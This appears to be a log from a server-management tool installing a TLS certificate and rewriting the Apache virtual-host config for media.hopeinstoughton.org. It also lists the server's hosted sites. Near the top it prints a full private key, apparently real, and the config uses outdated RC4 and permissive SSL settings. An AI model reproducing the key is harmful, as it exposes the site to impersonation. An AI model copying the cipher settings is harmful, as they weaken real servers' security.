015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWVkaWEuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNy5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAfgBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZxqL9a4
AAgAAAUACadc6AQDAEcwRQIhANqLmKuNXCAD/QxELBnAJ5kxmjatMzQNvYu2M9wi
5tsuAiB2H+q+odanOV5oyalpw3qqAxQYycWvQPLRMEa+Wpk5MgB3AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABnGov5hQAAAQDAEgwRgIhAJVSAmL/
PtWzHEtvsUSFVX26BpSDr0wqvGnES98RqqsHAiEA70kTzLr+DnimEB7txQFTxhwL
bo1aZQqnX8KcwV+R5TAwDQYJKoZIhvcNAQELBQADggEBAI5/MBQ+1fF5lysVH8Tl
QQ4J1GngDDOKyGRVL85U88H2X7qGTaw8KZVrA0x0xNRm/G0CEkg3Zyh7UBrnIpgy
tsk3liaAIgO2wmxsVNmtAIcTSTJNGvXvshqJvnsXzhiCtatN+RmrdM0LK3uIZ94q
JYDa8oubL9kAfbhv/IrRuEOacZLGGo8TRX/eLrZdinBwkMe+TiF4QaFQuaYZSlJi
+eyYZPrMtq6vekaFSmg33elUu99g1aqyvygF8TKP2nDnlrDh31Z9ikxxygwIm5qK
2om0W8Yta6oGtztJCGjuKyHT6VrM8TXp8O4nO/+PguoVU1mVmQ6j18bNLvMs0qxr
6xs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDSAvclfNMVB1kz
lZaJAFSEW26WaktWZQpMz/YNK3mGu461eZMBHetkz8ztr1t9Yu9tQZadebk41GWe
CHR9ITN9u5552CCIiU2eZTmfQXs3limAmuN5r68+6ZuAYJHDpYUnWXGylyqyBE6+
ZgE+dGd4JsKMuwgYeWLF3SCWZfaeXVdIBibAk73wGvir0+bUBmjhGJO9n6dE7W1w
myW9dcWwENtmFlOFnfP4IWwFH41tShXS9ug/yPLZLWHk6brNabENrpYf0gsBfQYj
cs0UtqMo4XSWtBE+GDX/XJz9G7P1bqzV3fGlB7UM0uJZigKczRUnRbGXOsFqVTl5
u77iGEKxAgMBAAECggEAArwqJtFU2GnDliHlF3yrHRwpuQjCWWowc6ajsDE4QHJx
3dgq+3E9zw7Lvu6xNNVUg+o+QWfD60MM3b2Dctu7VXBblH+lkNGk8qKj2Pib17H7
cWLTApMwp5OYRFg9nbwqm0QVcHt6gV3//ofKjVsru8tZbkbDSLpP+H60PXEvgIl1
m9COhHMM2CBTCadQOGncw1S/6fAFG25ENdYftjSVBaKAGwc4U3jdtsvBwhyYQPJL
QEunAt3ZyD9pbmfj5NRy9snJdD8caVgsQBa3ZZKSG1ihvfQUTiSrSa1kbqTPtTPZ
+BZ8XyhFWE1kEYvtoB1hYtSuV1KrOAos31vQpIE4vwKBgQD3GOPsx6gG7B0qOidw
JEweZz8A+whjejnd2Mi0jpcB7rIKFEcg54pU52dgRm3NLnJLcwnhg7JM7lg86g3a
SKHPs90yWF+i8JX091MqbcUJ1WRPbpIcnQ96MaKOms86sU16IzKW4uM7u+SERW8a
f7zjap8E4C1Z8Hn5FBijBbxvOwKBgQDZlAOuzDWP+GSjG+9jbBDryVSgM4nnbLUr
FPKFeveXcu3RT5yziN+Gkk9mhD/2rChD+V/2O3R8MikTCcJxLKUmHcEeyFPD3Imb
Xex/7BcJrdmAKdX+KRCz5rfGFlcqhv+z/asRFG8CN6pRzLhTB52dzW17+S+8JZrK
XCH70jOPAwKBgQCF4ZmVMHSNE5+Vwp6dtzz6+Cv95wYbiB0UY6ITmnKdXGxg463K
WUntSNgNJPvXQUQyNylyY/3WiwmKL7LDw7jQpf7CiXl/+mT1rpAEHCe3dUR9eUZ3
dG3vYjdWlvCTN3/oHmwJrvM56Usek9RoAjAg9CMm7CQGaDJeT5ItuizoAwKBgAYx
ER3DT+7l6a8+l0RkCeM72n2omc8NJ+au9OvZgPw9WAkx08rEJWBF/55yOwPBCHBO
w21Vac4y+zpAd9kSpSx9gkZm+wNC3mOee6F0TX+IA/2Cs0VFU+VatnYboqViLBqq
KFkXFMWiYeVsBv7N461e8DOr9rDK/SmvD4SECdWTAoGBAOPDoDjXxXzct/xO5thj
1FFn7mOZP+kzFQx6HQ/O4+2cpY1r42JF76lPkTmlpUSzxjHc+FZWdVKELTk1xXSk
Ki0lFYYoYgmF7s6Ve/NwE/4GSy8/8pDwAPzc3AMim0lCAXHIRb/A7kjenFF4YXB9
WRh45JJE7JVy6qlCPVjmXbux
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-17 06:00:51: 

chmod 755 /tmp/pkp214744; /tmp/pkp214744; rm /tmp/pkp214744

2026-02-17 06:00:51: 


dir=/etc/ssl/certs


2026-02-17 06:00:51: 

PUT: /tmp/pkp628461

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-17 06:00:51: 

chmod 755 /tmp/pkp628461; /tmp/pkp628461; rm /tmp/pkp628461

2026-02-17 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 49

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-17 06:00:51: 

PUT: /tmp/pkp994155

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_media_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf= 1'
fi


2026-02-17 06:00:51: 

chmod 755 /tmp/pkp994155; /tmp/pkp994155; rm /tmp/pkp994155

2026-02-17 06:00:51: 




2026-02-17 06:00:51: 

PUT: /tmp/pkp999779

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-17 06:00:51: 

chmod 755 /tmp/pkp999779; /tmp/pkp999779; rm /tmp/pkp999779

2026-02-17 06:00:51: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:00:51: Establishing a connection
2026-02-17 06:00:51: 

PUT: /tmp/pkp583798

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-17 06:00:51: 

chmod 755 /tmp/pkp583798; /tmp/pkp583798; rm /tmp/pkp583798

2026-02-17 06:00:51: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:00:51: 

PUT: /tmp/pkp835023

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:00:51: 

chmod 755 /tmp/pkp835023; /tmp/pkp835023; rm /tmp/pkp835023

2026-02-17 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf	1673

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-17 06:00:51: 

PUT: /tmp/pkp372581

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:00:51: 

chmod 755 /tmp/pkp372581; /tmp/pkp372581; rm /tmp/pkp372581

2026-02-17 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt	5377
89:bd:31:65:dc:87:1b:e7:8b:e8:bc:0e:08:62:a8:e0

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBiW+QbOy9jBxk54nOQnLydj0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMjE1WhcNMjYwNTE4MDUwMjE0WjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0gL3JXzTFQdZM5WWiQBUhFtulmpLVmUKTM/2DSt5hruOtXmT
AR3rZM/M7a9bfWLvbUGWnXm5ONRlngh0fSEzfbueedggiIlNnmU5n0F7N5YpgJrj
ea+vPumbgGCRw6WFJ1lxspcqsgROvmYBPnRneCbCjLsIGHlixd0glmX2nl1XSAYm
wJO98Br4q9Pm1AZo4RiTvZ+nRO1tcJslvXXFsBDbZhZThZ3z+CFsBR+NbUoV0vbo
P8jy2S1h5Om6zWmxDa6WH9ILAX0GI3LNFLajKOF0lrQRPhg1/1yc/Ruz9W6s1d3x
pQe1DNLiWYoCnM0VJ0WxlzrBalU5ebu+4hhCsQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLd6+LK5tZlGpMpEOX+qBPQzpI3MMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWVkaWEuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNy5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAfgBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZxqL9a4
AAgAAAUACadc6AQDAEcwRQIhANqLmKuNXCAD/QxELBnAJ5kxmjatMzQNvYu2M9wi
5tsuAiB2H+q+odanOV5oyalpw3qqAxQYycWvQPLRMEa+Wpk5MgB3AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABnGov5hQAAAQDAEgwRgIhAJVSAmL/
PtWzHEtvsUSFVX26BpSDr0wqvGnES98RqqsHAiEA70kTzLr+DnimEB7txQFTxhwL
bo1aZQqnX8KcwV+R5TAwDQYJKoZIhvcNAQELBQADggEBAI5/MBQ+1fF5lysVH8Tl
QQ4J1GngDDOKyGRVL85U88H2X7qGTaw8KZVrA0x0xNRm/G0CEkg3Zyh7UBrnIpgy
tsk3liaAIgO2wmxsVNmtAIcTSTJNGvXvshqJvnsXzhiCtatN+RmrdM0LK3uIZ94q
